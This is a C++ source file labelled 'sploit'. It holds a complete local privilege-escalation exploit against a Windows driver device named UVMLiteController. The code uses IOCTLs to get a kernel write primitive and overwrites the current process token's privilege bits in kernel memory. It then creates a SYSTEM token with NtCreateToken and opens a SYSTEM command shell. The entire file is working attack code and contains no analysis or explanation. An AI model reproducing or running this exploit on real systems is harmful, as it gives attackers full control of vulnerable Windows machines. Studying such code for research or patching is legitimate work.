// sploit #include "stdafx.h" #include #include #include #include #include #pragma comment(lib,"ntdll.lib") typedef NTSTATUS (*NtCreateTokenFunc)( OUT PHANDLE TokenHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN TOKEN_TYPE TokenType, IN PLUID AuthenticationId, IN PLARGE_INTEGER ExpirationTime, IN PTOKEN_USER TokenUser, IN PTOKEN_GROUPS TokenGroups, IN PTOKEN_PRIVILEGES TokenPrivileges, IN PTOKEN_OWNER TokenOwner, IN PTOKEN_PRIMARY_GROUP TokenPrimaryGroup, IN PTOKEN_DEFAULT_DACL TokenDefaultDacl, IN PTOKEN_SOURCE TokenSource); typedef struct _SYSTEM_HANDLE { ULONG ProcessId; BYTE ObjectTypeNumber; BYTE Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG HandleCount; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION; bool IoControl(HANDLE handle, DWORD io_code, LPVOID input, DWORD input_size, LPVOID output, DWORD output_size) { if (!DeviceIoControl(handle, io_code, input, input_size, output, output_size, nullptr, nullptr)) { fprintf(stderr, "IOCTL failed: %d\n", GetLastError()); return false; } return true; } HANDLE OpenUvmDevice(const wchar_t* path) { return CreateFileW( path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); } std::wstring CreateUvmLiteProcessDevice(HANDLE uvm_handle) { wchar_t buf[130]; IoControl(uvm_handle, 0x22f000, nullptr, 0, buf, 260); return buf; } bool CreateUvmControllerContext(HANDLE uvm_handle) { DWORD input[32] = {}; input[0] = GetCurrentProcessId(); DWORD output[32] = {}; if (!IoControl(uvm_handle, 0x22e028, input, 32 * 4, output, 32 * 4)) { return false; } return output[1] == 0; } // kernel write primitive. bool KernelWrite32(HANDLE uvm_handle, uint64_t addr, DWORD value) { if (value != 0 && value != 0xffff) return false; char buf[1024] = {}; if (value == 0) { return IoControl(uvm_handle, 0x22fffc, buf, 1024, reinterpret_cast(addr), 0); } addr -= 36; memset(buf, 0xff, 1024); return IoControl(uvm_handle, 0x22e038, buf, 1024, reinterpret_cast(addr), 0); } HANDLE CreateSystemToken(HANDLE current_token) { HMODULE module = LoadLibrary(L"ntdll.dll"); NtCreateTokenFunc NtCreateToken = (NtCreateTokenFunc)GetProcAddress(module, "NtCreateToken"); if (!NtCreateToken) { fprintf(stderr, "Failed to find NtCreateToken.\n"); return nullptr; } LARGE_INTEGER never_expire; OBJECT_ATTRIBUTES obj_attrs; SECURITY_QUALITY_OF_SERVICE sqos = {}; sqos.Length = sizeof(sqos); sqos.ContextTrackingMode = SECURITY_STATIC_TRACKING; sqos.ImpersonationLevel = SecurityImpersonation; InitializeObjectAttributes(&obj_attrs, nullptr, 0, nullptr, nullptr); obj_attrs.SecurityQualityOfService = &sqos; never_expire.QuadPart = -1; PSID system_sid; ConvertStringSidToSid(L"S-1-5-18", &system_sid); PSID builtin_admins_sid; ConvertStringSidToSid(L"S-1-5-32-544", &builtin_admins_sid); PSID everyone_sid; ConvertStringSidToSid(L"S-1-1-0", &everyone_sid); PSID system_integrity_sid; ConvertStringSidToSid(L"S-1-16-16384", &system_integrity_sid); PSID authenticated_users_sid; ConvertStringSidToSid(L"S-1-5-11", &authenticated_users_sid); TOKEN_USER token_user = {}; token_user.User.Sid = system_sid; TOKEN_SOURCE token_source = {}; TOKEN_OWNER token_owner = {}; token_owner.Owner = system_sid; TOKEN_PRIMARY_GROUP primary_group = {}; primary_group.PrimaryGroup = builtin_admins_sid; DWORD length; GetTokenInformation(current_token, TokenPrivileges, nullptr, 0, &length); std::unique_ptr privileges_buf(new uint8_t[length]); TOKEN_PRIVILEGES* token_privileges = (TOKEN_PRIVILEGES*)privileges_buf.get(); GetTokenInformation(current_token, TokenPrivileges, token_privileges, length, &length); const size_t kNumGroups = 4; std::unique_ptr groups_buf(new uint8_t[4 + sizeof(SID_AND_ATTRIBUTES) * kNumGroups]); TOKEN_GROUPS* token_groups = (TOKEN_GROUPS*)groups_buf.get(); token_groups->GroupCount = 4; token_groups->Groups[0].Sid = builtin_admins_sid; token_groups->Groups[0].Attributes = SE_GROUP_OWNER | SE_GROUP_ENABLED; token_groups->Groups[1].Sid = everyone_sid; token_groups->Groups[1].Attributes = SE_GROUP_ENABLED | SE_GROUP_MANDATORY; token_groups->Groups[2].Sid = system_integrity_sid; token_groups->Groups[2].Attributes = SE_GROUP_INTEGRITY_ENABLED | SE_GROUP_INTEGRITY; token_groups->Groups[3].Sid = authenticated_users_sid; token_groups->Groups[3].Attributes = SE_GROUP_ENABLED | SE_GROUP_MANDATORY; LUID authentication_id = SYSTEM_LUID; HANDLE result; if (NtCreateToken(&result, TOKEN_ALL_ACCESS, &obj_attrs, TokenPrimary, &authentication_id, &never_expire, &token_user, token_groups, token_privileges, &token_owner, &primary_group, nullptr, &token_source)) { fprintf(stderr, "Failed to create token: %d\n", GetLastError()); return nullptr; } return result; } int main() { HANDLE handle = OpenUvmDevice(L"\\\\.\\UVMLiteController"); if (handle == INVALID_HANDLE_VALUE) { fprintf(stderr, "Couldn't open UVM device.\n"); return 1; } std::wstring device = CreateUvmLiteProcessDevice(handle); if (!device.size()) { fprintf(stderr, "Couldn't create UVMLiteProcess device.\n"); return 1; } printf("Created %S\n", device.c_str()); // Open the device to prevent a kernel null deref. HANDLE uvm_process_handle = OpenUvmDevice(device.c_str()); if (uvm_process_handle == INVALID_HANDLE_VALUE) { fprintf(stderr, "Couldn't open UVMLiteProcess device.\n"); return 1; } if (!CreateUvmControllerContext(handle)) { fprintf(stderr, "Couldn't create UVM controller context.\n"); return 1; } HANDLE self_process = GetCurrentProcess(); HANDLE token_handle; if (!OpenProcessToken(self_process, MAXIMUM_ALLOWED, &token_handle)) { fprintf(stderr, "failed to open own process token\n"); return 1; } size_t alloc_size = 16 * 1024; SYSTEM_HANDLE_INFORMATION* handle_info = nullptr; std::unique_ptr handle_info_buf; while (true) { handle_info_buf.reset(new uint8_t[alloc_size]); handle_info = (SYSTEM_HANDLE_INFORMATION*)(handle_info_buf.get()); if (!NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0x10, handle_info, alloc_size, nullptr)) break; alloc_size *= 2; } printf("token handle value = %u\n", token_handle); DWORD proc_id = GetCurrentProcessId(); uint64_t kernel_token_address = 0; for (DWORD i = 0; i < handle_info->HandleCount; ++i) { if (handle_info->Handles[i].ProcessId != proc_id) continue; if ((HANDLE)handle_info->Handles[i].Handle == token_handle) { kernel_token_address = (uint64_t)handle_info->Handles[i].Object; } } if (!kernel_token_address) { fprintf(stderr, "Failed to get kernel token address.\n"); return 1; } printf("kernel token address = %I64x\n", kernel_token_address); // At least on Windows 10 10586.589 const size_t kTokenPrivilegesOffset = 0x40; printf("Assuming offset to _SEP_TOKEN_PRIVILEGES is 0x%x\n", kTokenPrivilegesOffset); printf("Overwriting privileges.\n"); // Overwrite Present/Enabled (2 64bit values) for (size_t i = 0; i < 2*8; i += 2) KernelWrite32(handle, kernel_token_address + kTokenPrivilegesOffset + i, 0xffff); // Should have all privileges at this point. printf("Creating a SYSTEM token and dropping you into cmd...\n\n"); HANDLE system_token = CreateSystemToken(token_handle); if (!system_token) { return 1; } STARTUPINFO startup_info = {}; PROCESS_INFORMATION process_info = {}; if (!CreateProcessAsUser( system_token, L"C:\\windows\\system32\\cmd.exe", nullptr, nullptr, nullptr, FALSE, CREATE_BREAKAWAY_FROM_JOB, nullptr, nullptr, &startup_info, &process_info)) { fprintf(stderr, "Failed to start cmd: %d.\n", GetLastError()); return 1; } return 0; }